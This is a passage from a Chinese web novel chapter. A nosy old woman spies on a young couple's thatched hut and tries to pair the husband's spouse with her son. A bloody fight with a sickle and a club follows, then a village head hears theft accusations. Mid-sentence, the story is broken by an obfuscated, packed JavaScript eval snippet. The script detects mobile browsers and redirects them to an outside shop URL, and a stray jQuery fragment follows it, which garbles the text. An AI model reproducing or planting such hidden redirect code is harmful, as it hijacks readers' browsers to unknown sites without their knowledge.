下午的时候天色不太好,齐溪今日便下山下得早些。
还没走到家门口,就见自家门外放了一个装着猪草的背篓,同时,还有个人趴在墙边,顺着墙上的孔往里偷看。
“吴阿婆!”齐溪走近,喊对方。
“你在看什么?”又是吴婆子,齐溪语气也不太好。
最近吴婆子来得很勤,总是在天快黑的时候路过他们家门口,还非常喜欢单独拉着他说话。
有一次,江行安去打水去了,齐溪在家生活,她还直接进了门,对着他们厨房里的东西挑挑拣拣。
齐溪说了几次让她出去,她都跟没听到似的,还是后头江行安回来才走的。
吴婆子跟之前一样被吓了一跳,回过头就开始骂人,“你个小蹄子,把老婆子魂儿都吓没了。”
齐溪冷脸,“魂儿没了你就死了,这不好好的吗?”
“呸呸呸,少诅咒我。”
“没想诅咒你,但扒人墙上偷看传出去可不好听。”
吴婆子是个脸皮厚的,“什么偷看,我这是好心,见你们这破茅草屋到处都是洞,怕有人进去偷东西,帮你瞧瞧,回头好给你们提醒。”
吴婆子还振振有词,“你们这些年轻人就是懒得很,房顶都补了,顺手把这墙给补了又费多少工夫,就是懒。”
大洞他们其实都补过了,留了些小的也是让屋里能多见点光,就吴婆子盯的那个地方也就他拳头大。
齐溪想赶他走,“我们心里有数,就不用吴阿奶你操心了,吴阿奶还是快些回去吧。”
吴婆子一屁股坐到装猪草的背篓上,猪草没冒尖,正好给她坐。
“我不走,我累着了,等我儿子来接我呢。”
说着,目光直勾勾地盯着齐溪看,像是在打量一个物件儿。
“瞧着人是瘦了些,身段也不咋地,但这脸蛋还算能看,眉间的痣也红,应当好怀种。”
越说吴婆子似乎越满意,还自顾自地点了点头。
齐溪叫她看得很不舒服,一直冷着脸。
齐溪开了门,把背篓放进去,吴婆子一看,立马就要跟着进门,齐溪直接拿起扫帚往外扫地,像撵狗一样把吴婆子撵了出去。
吴婆子跳着脚很不高兴,但没再往屋里凑,而是摆起了谱,“你这城里来的哥儿就是不懂事,也不知道给长辈端碗水喝喝。”
齐溪道:“我家连个装水的桶都没有,实在没水给你喝,恰好,这儿离水井也不远,吴阿婆要是真渴了就去水井那边喝吧,还能喝得饱些。”
接着将一根干柴扫飞了起来,差点刮到吴婆子的脸。
吴婆子一下就怒了,“小蹄子,你是在骂老婆子饿死鬼上身没喝过水?”
没等齐溪反驳,她就站起来,撸起袖子对着齐溪破口大骂,“好你个小贱人,老婆子可怜你一个城里哥儿跟了江家那个烂心肝的孽障,好心跟你搭话,你却这副嘴脸。”
“呸,活该只能住这破茅屋,不识好歹的东西,亏老婆子还想另外给你谋条出路。”
“我那儿一表人才,让他跟你相看都是你高攀,你还敢给老婆子摆脸,我看你是不想好了!”
齐溪这才明白,吴婆子竟打的是这主意。
他想也没想,就把扫帚朝吴婆子扔了过去,“滚!”
吴婆子这回被砸了个正着,张嘴又要骂,齐溪进屋抽出镰刀,直接朝吴婆子脖子挥了过去,“再不滚,我割了你舌头!”
他眼神凶狠,镰刀也是真敢往前挥,还真将吴婆子吓到了。
此时,远处有个人影正在慢慢靠近,吴婆子一看眼神顿时亮了,朝对方喊:“儿啊,还不来帮忙,有人要杀你老娘了。”
那是吴婆子的大儿子曹大用。
齐溪也看清了来人,只一眼,他就血色尽褪,僵在原地连动弹下都做不到。
曹大用由远至近,明明什么都还没做,齐溪却觉得自己已经快喘不上气了,手里的镰刀也险些握不住。
曹大用走过来,笑嘻嘻地要拉扯齐溪,“还是个烈性货,想动老子娘,不怕老子弄死你啊。”
齐溪重重咬了下舌尖,疼痛的刺激让他冷了些,
齐溪避开曹大用的手,满脑子只剩三个字,杀了他!
杀了他!
在齐溪即将挥出镰刀时,耳边传来了另一道声音,“齐溪!”
齐溪下意识回头,看见江行安就在不远处,正朝他疾步走来。
他一出现,曹大用不笑了,吴婆子也板着脸不高兴的样子,还假装地跟齐溪说:“时候不早,我们就回去了。”
曹大用舍不得走,被吴婆子推了一把,“下回再说。”
等江行安走近了,曹大用挑衅似的冲齐溪说:“溪哥儿,要是夜里忍得难受睡不着,记得再来找哥哥啊。”
然后才转身要走,但江行安的动作比两人更快,他一句话没说,直接抓曹大用的手腕,一边从齐溪手里抢过了镰刀,几乎没有任何犹豫地朝曹大用的手上砍了下去。
不怎么锋利的镰刀对着人手依旧有着削骨如泥的效果,曹大用手背被砍出长长一条口,鲜血直往外冒,曹大用也惨叫出了声。
江行安却笑的风轻云淡,“方才是想用这只脏手扒拉我夫郎吧,我没砍错吧?”
“要是错了,只好再补一刀了,”江行安说着就要去抓曹大用另一只手。
吴婆子和曹大用终于反应过来了,吴婆子上来就推了江行安一把,“你个杀才,竟然敢伤我儿子,我杀了你。”
然后就对着江行安一顿抓挠,嘴里的骂声也没停。
江行安就拿着镰刀对着她的手砍,吴婆子怕伤着自己,躲躲闪闪的,愣是没能挠到江行安一下。
曹大用也满脸杀气地朝江行安冲来,举着拳头就要揍他。
以一抵二,江行安逐渐落了下风,脸挨了两下。
齐溪也像终于回了神,进屋找了根粗木棒出来对着曹大用的脑袋就敲。
齐溪完全被恨意席卷,每一棒都用尽了全力,恨不得将曹大用打死。
这个时候,正是村里人干完农活归家的时候,他们这又打又骂的,动静有些大,很快就招来了不少人。
双方都见了血,江行安不仅挨拳头,脸跟脖子都被吴婆子挠了几爪子,吴婆子还扯了他头发。
论这种打架经验,江行安显然是比不过吴婆子跟曹大用的,他还要顾着齐溪,没让两人沾他一下,吃了不少亏。
齐溪压根不躲,就追着曹大用打,身上头上,曹大用也不知挨了多少下。
怕他们闹出大事,村里来瞧热闹的人将两边分开了。
吴婆子还在骂骂咧咧,“小杂种,你不得好死,短命鬼,明天出门就摔死,撞死……”
江行安冷笑,“放心,我肯定死你全家后头。”
“等你家死绝了,我会好心去给你烧纸钱告诉你的。”
“行了,别吵了,一个村的人,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526974|202477||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
什么死不死的。”
这话谁也没劝住,两边依旧在对骂,江行安不想吃亏,吴婆子骂他一句他还两句。
要是被人拉着,两边还会打起来。
后头把村长都招来了。
村长板着脸,看谁都不顺眼,两边都不是什么好东西。
“吵够了就闭嘴!”
这个时代村长的威望高,说话管用,吴婆子被震住了,江行安入乡随俗。
村长又问,“到底怎么回事,说清楚。”
他问的是江行安,吴婆子抢着答了,指着江行安道:“村长,你可要为我们做主啊,这个天杀的,他砍了我儿子一刀。”
“你看他那手,现在血还在流呢。”
曹大用举着手怼给在场的人看,眼睛则恨恨地瞪着江行安。
“村长,不止手,我浑身上下都叫他们打疼了,头上还起了包,你可得为我做主。”
江行安回以白眼。
村长仔细检查了曹大用的伤,又问江行安,“他说的是真的?”
江行安:“那村长不妨先问问这两个贼偷了我家什么东西!”
“谁偷了?”吴婆子指着茅草屋,“就他这一穷二白的样,有什么值得我偷的,少冤枉人。”
江行安:“那我书怎么没了?”
“什么书?你放屁,你自己书没了关我什么事?”吴婆子气得脸都红了。
“不是你偷的,那你天天来我家门口是为了什么,今天要不是我夫郎拦着,你怕是要将我整个家都搬空。”
围观的村民有人开口,“吴婆子确实经常来破茅屋这儿转悠,还扒着孔,往里看,我都瞧见过。”
“好啊,原来是你这个缺粪吃的老虔婆偷了我给我侄儿的米!”
江三才和丁麦冬也来了,听到江行安说吴婆子偷东西,立刻就上来帮忙了,他说着还要上去撕吧吴婆子,还是江三才拦了他一下,才没动手。
“什么米啊书的,我不知道,你们休想冤枉我。”
“那江秀才两口子怎么跟你家打起来的?”有人好奇。
“那是……”吴婆子转着眼珠子不敢说实话。
“老东西,还我书,我告诉你,我那些书花了二十两银子买的,你必须赔给我,一两都不能少,否则我就把你告去衙门!”江行安一口咬定就是她偷了自己的书,要银子。
吴婆子冤死了,一个劲儿骂江行安放狗屁。
“我这儿就你偷偷进来过,除了你还能有谁?”
其实也有人怀疑这是江行安故意冤枉吴婆子的,毕竟他这人连侄女都能卖,那几本书肯定早卖了。
可江行安又说要报官,百姓怕见官,这种话他都敢说,村民不自觉偏向了江行安。
齐溪在一旁双眼通红,死死盯着吴婆子母子,像是恨极了,就让村民更信他们了。
虽然江行安不是好东西,可吴婆子一家更是没少干小偷小摸的事,村里不知多少鸡鸭叫他们给摸了去。
连村长都信了,冷着脸斥责吴婆子,“还不快把书还回来!”
吴婆子直接跪在了地上哭,“天爷啊,我没偷他的书。”
“我就只摸了两把米。”
但没人信她。
村长提高了声音喝斥:“还不说实话,是真要抓你去见官不成!”
吴婆子瞅着村长的冷脸,指着齐溪小声补充:“就是说了几句让他这个大官家的哥儿跟我儿子好而已,真没偷书。”